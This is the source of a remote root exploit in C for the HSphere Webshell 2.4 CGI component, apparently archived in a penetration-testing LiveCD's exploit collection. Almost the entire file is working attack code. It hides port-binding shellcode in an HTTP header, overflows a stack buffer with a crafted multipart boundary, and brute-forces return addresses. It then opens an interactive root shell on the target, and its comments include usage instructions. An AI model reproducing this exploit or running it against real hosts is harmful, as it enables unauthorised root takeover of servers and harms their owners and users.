home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / webshell / webshell-remote.c < prev   
C/C++ Source or Header  |  2005-02-12  |  12KB  |  317 lines

  1. /*
  2.  * Remote r00t exploit for Webshell 2.4 (possibly other versions).
  3.  * Vulnerability found and exploit written by Carl Livitt
  4.  * (carl (@) learningshophull.co.uk).
  5.  *
  6.  
  7. Exploits a simple stack-based buffer overflow in CGI.C of the
  8. HSphere webshell component which is installed SUID & GUID root
  9. by default.
  10.  
  11. This exploit will bind a r00t shell to port 10000 (by default) of
  12. the remote box. Feel free to use any shellcode of your choice.
  13.  
  14. This code is a butchered version of the local exploit for
  15. webshell. It works on my test box, and won't be refined any further,
  16. although the bruteforcer should work on most webshell installations.
  17.  
  18. To exploit:
  19.  
  20. gcc -o webshell-remote webshell-remote.c
  21. ./webshell-remote -t www.host-to-exploit.com -l /path/to/webshell
  22.  
  23. That's it. It'll work on almost all vulnerable hosts (running Linux).
  24. */
  25.  
  26.  
  27. #include <sys/types.h>
  28. #include <sys/stat.h>
  29. #include <sys/socket.h>
  30. #include <stdio.h>
  31. #include <string.h>
  32. #include <unistd.h>
  33. #include <signal.h>
  34. #include <netdb.h>
  35. #include <time.h>
  36.  
  37. /*
  38.  * Play with these to make it work (if it fails!)
  39.  */
  40. #define EGG_SIZE_START 280
  41. #define EGG_SIZE_END 291
  42. #define RET_ADDR_START 0xbffff010
  43. #define RET_ADDR_END 0xbfffffff
  44. #define RET_ADDR_INCR 768
  45. #define COMMAND1 "id\n"
  46. #define COMMAND2 "uname -a\n"
  47. #define ROOT_SHELL_PORT 10000
  48.  
  49. // should only be needed against localhost. Set to 0 to disable.
  50. #define SLEEP_TIME 125000000L
  51.  
  52. // don't play with this, you'll only break things.
  53. #define CONTENT_LENGTH 43
  54.  
  55. void make_shellcode();
  56. void make_exploit_buffer();
  57. void make_boundary_buffer();
  58.  
  59. /*
  60.  * 88 bytes portbinding shellcode - linux-x86
  61.  * - by bighawk (bighawk@warfare.com)
  62.  *   setuid(0) and setgid(0) added by Carl Livitt
  63.  */
  64. char shellcode[] =
  65.    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" // setuid(0),setgid(0)
  66.    "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
  67.    "\x89\xc7\x52\x66\x68"
  68.    "XX" // XX is port number
  69.    "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
  70.    "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
  71.    "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
  72.    "\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
  73.    "\x51\x53\x89\xe1\xb0\x0b\xcd\x80"; // bind shell on port 10000
  74.  
  75. /*
  76.  * Ahhhh, global variables make life easy :)
  77.  */
  78. char sc[1024];
  79. char egg[1024];
  80. char exploit_buf[4096];
  81. char target[256];
  82. int port=80;
  83. char location[1024];
  84. unsigned long RET_ADDR;
  85. int EGG_SIZE, root_shell_port=ROOT_SHELL_PORT;
  86.  
  87. char usage[]=
  88. "-h           This cruft\n"
  89. "-t host      Target host (eg. www.xyzzy.com)\n"
  90. "-p port      Target port [80]\n"
  91. "-P port      Port to bind shell on remote host [10000]\n"
  92. "-l location  Location of webshell (eg. /cgi-bin/webshell)\n\n"
  93. "Example:\n\n"
  94. "./exp-remote -t www.xyzzy.com -p 8080 -P 12345 -l /psoft/servlet/psoft.hsphere.CP\n\n"
  95. "This would attack http://www.xyzzy.com:8080/psoft/servlet/psoft.hsphere.CP\n"
  96. "and bind a root shell to port 12345 if successful.\n\n";
  97.  
  98. /*
  99.  * The fun begins here...
  100.  */
  101.  
  102.  main(int argc, char **argv) {
  103.         int ch, websock, shellsock,r=1;
  104.         struct hostent *host;
  105.         struct sockaddr_in saddr;
  106.         char buf[8092];
  107.         struct timespec sleepTime;
  108.         fd_set rfds;
  109.         int retval;
  110.  
  111.         /*
  112.          * Process command-line args
  113.          */
  114.         while((ch=getopt(argc,argv,"ht:p:P:l:"))!=-1) {
  115.                 switch(ch) {
  116.                         case 'h':
  117.                                 printf("%s",usage);
  118.                                 exit(0);
  119.                                 break;
  120.                         case 't':
  121.                                 strncpy(target, optarg, sizeof(target)-1);
  122.                                 break;
  123.                         case 'p':
  124.                                 port=atoi(optarg);
  125.                                 break;
  126.                         case 'P':
  127.                                 root_shell_port=atoi(optarg);
  128.                                 break;
  129.                         case 'l':
  130.                                 strncpy(location, optarg, sizeof(location)-1);
  131.                                 break;
  132.                         default:
  133.                                 printf("%s", usage);
  134.                                 exit(0);
  135.                                 break;
  136.                 }
  137.         }
  138.  
  139.         /*
  140.          * Tell the attacker we're about to start the exploit.
  141.          * Look up the IP address of the host specified on the
  142.          * command-line
  143.          */
  144.         if((host=gethostbyname(target))==NULL) {
  145.                 printf("Host not found. Usage:\n%s\n", usage);
  146.                 exit(1);
  147.         }
  148.         printf("Exploiting http://%s:%d%s%s..", target, port, (location[0]=='/')?"":"/", location);
  149.  
  150.         /*
  151.          * Start the bruteforce loop
  152.          */
  153.         for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
  154.                 for(EGG_SIZE=EGG_SIZE_START; EGG_SIZE<EGG_SIZE_END; EGG_SIZE++) {
  155.                         /*
  156.                          * Setup the exploit strings and
  157.                          * HTTP headers. The Accept-Encoding header
  158.                          * will hold shellcode: it will be passed
  159.                          * to the environment of webshell giving us
  160.                          * a reasonably predictable RET address.
  161.                          */
  162.                         make_shellcode();
  163.                         make_boundary_buffer();
  164.                         make_exploit_buffer();
  165.  
  166.                         /*
  167.                          * Now connect to the host and send the exploit
  168.                          * string...
  169.                          */
  170.                         if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
  171.                                 perror("socket()");
  172.                                 exit(1);
  173.                         }
  174.                         memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
  175.                         saddr.sin_family=AF_INET;
  176.                         saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
  177.                         saddr.sin_port=htons(port);
  178.                         printf(".");fflush(stdout);
  179.                         if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
  180.                                 perror("connect()");
  181.                                 exit(1);
  182.                         }
  183.                         send(websock, exploit_buf, strlen(exploit_buf), 0);
  184.                         close(websock);
  185.  
  186.                         /*
  187.                          * This pause is needed when exploiting localhost.
  188.                          * It can be ignored against remote hosts (I think!)
  189.                          */
  190.                         sleepTime.tv_sec=0;
  191.                         sleepTime.tv_nsec=SLEEP_TIME;
  192.                         nanosleep(&sleepTime, &sleepTime);
  193.  
  194.                         /*
  195.                          * If the exploit attempt succeded, there should now
  196.                          * be a r00t shell bound to port xxxxx of the target
  197.                          * box. Lets try and connect to it...
  198.                          */
  199.                         if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
  200.                                 perror("socket()");
  201.                                 exit(1);
  202.                         }
  203.                         memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
  204.                         saddr.sin_family=AF_INET;
  205.                         saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
  206.                         saddr.sin_port=htons(root_shell_port);
  207.                         if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
  208.                                 goto CONNECTED; // goto? Damn amateurs...
  209.  
  210.                         /*
  211.                          * If we get here, the exploit failed. Try the next
  212.                          * iteration of the brute force loop.
  213.                          */
  214.                         close(shellsock);
  215.                 }
  216.         }
  217.         /*
  218.          * If we get here, then the bruteforce was exhausted without a
  219.          * succesful exploit.
  220.          */
  221.         printf("\nFailed to exploit the webshell binary. :(\n");
  222.         exit(0);
  223.  
  224. CONNECTED:
  225.         /*
  226.          * We're now connected to the remote host. Issue
  227.          * some commands... ('id' and 'uname -a' by default)
  228.          */
  229.         printf("\n\nExploit successful!\nIssuing some commands...\n\n");
  230.         if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) {
  231.                 perror("send()");
  232.                 exit(1);
  233.         }
  234.         buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
  235.         printf("%s", buf);
  236.         send(shellsock, COMMAND2, strlen(COMMAND2), 0);
  237.         buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
  238.         printf("%s\n", buf);
  239.         printf("You are now at a bash prompt...\n");
  240.  
  241.         /*
  242.          * Now let the attacker issue commands to the remote
  243.          * shell, just as if (s)he had launched 'nc host 10000'.
  244.          * Note the dodgy coding of assigning NULLs to the buf[]
  245.          * array. What would happen if recv() or read() returned -1 ?
  246.          * You guessed it: we mung some variables on the stack!
  247.          */
  248.         do {
  249.                 FD_ZERO(&rfds);
  250.                 FD_SET(0, &rfds);
  251.                 FD_SET(shellsock, &rfds);
  252.                 retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
  253.                 if(retval) {
  254.                         if(FD_ISSET(shellsock, &rfds)) {
  255.                                 buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
  256.                                 printf("%s", buf);
  257.                         }
  258.                         if(FD_ISSET(0, &rfds)) {
  259.                                 buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
  260.                                 send(shellsock, buf, strlen(buf), 0);
  261.                         }
  262.  
  263.                 }
  264.         } while(retval && r); // loop until connection terminates
  265.         close(shellsock);
  266.         exit(0);
  267. }
  268.  
  269. /*
  270.  * Create the HTTP request that will setup the exploit
  271.  * conditions in webshell. Shellcode is stored in the
  272.  * Accept-Encoding HTTP header.
  273.  */
  274. void make_exploit_buffer() {
  275.         sprintf(exploit_buf,"POST %s HTTP/1.1\n",location);
  276.         sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target);
  277.         sprintf(exploit_buf,"%sAccept-Encoding: %s\n",exploit_buf, sc);
  278.         sprintf(exploit_buf,"%s%s\n",exploit_buf,egg);
  279.         sprintf(exploit_buf,"%sContent-Length: %d\n\n",exploit_buf,EGG_SIZE*2);
  280.         sprintf(exploit_buf,"%s--%s\n",exploit_buf, egg+CONTENT_LENGTH);
  281.         sprintf(exploit_buf,"%sContent-Disposition: form-data; name=\"TESTNAME\"; filename=\"TESTFILENAME\"\r\n\r\n",exploit_buf);
  282.         sprintf(exploit_buf,"%s%-*s\n",exploit_buf, EGG_SIZE*4," ");
  283. }
  284.  
  285. /*
  286.  * Create the buffer that holds the 'boundary' data. This
  287.  * is what actually overflows the buffer on the stack.
  288. */
  289. void make_boundary_buffer() {
  290.         int i;
  291.  
  292.         memset(egg, 0, EGG_SIZE-1);
  293.         memcpy(egg, "Content-Type: multipart/form-data boundary=", CONTENT_LENGTH);
  294.         for(i=0;i<EGG_SIZE; i+=4) {
  295.                 egg[i+CONTENT_LENGTH]=RET_ADDR&0xff;
  296.                 egg[i+CONTENT_LENGTH+1]=(RET_ADDR>>8)&0xff;
  297.                 egg[i+CONTENT_LENGTH+2]=(RET_ADDR>>16)&0xff;
  298.                 egg[i+CONTENT_LENGTH+3]=(RET_ADDR>>24)&0xff;
  299.         }
  300.         egg[EGG_SIZE+CONTENT_LENGTH-1]='\0';
  301. }
  302.  
  303. /*
  304.  * Creates a 1024-byte buffer holding NOPs and shellcode.
  305.  */
  306. void make_shellcode() {
  307.         // Fill in the port number
  308.         shellcode[33]=htons(root_shell_port)&0xff;
  309.         shellcode[34]=(htons(root_shell_port)>>8)&0xff;
  310.  
  311.         // Finish making shellcode buffer
  312.         memset(sc, 0x90,1024);
  313.         memcpy(sc + 1024 - (strlen(shellcode)+1), shellcode, strlen(shellcode));
  314.         sc[1023]='\0';
  315. }
  316.  
  317.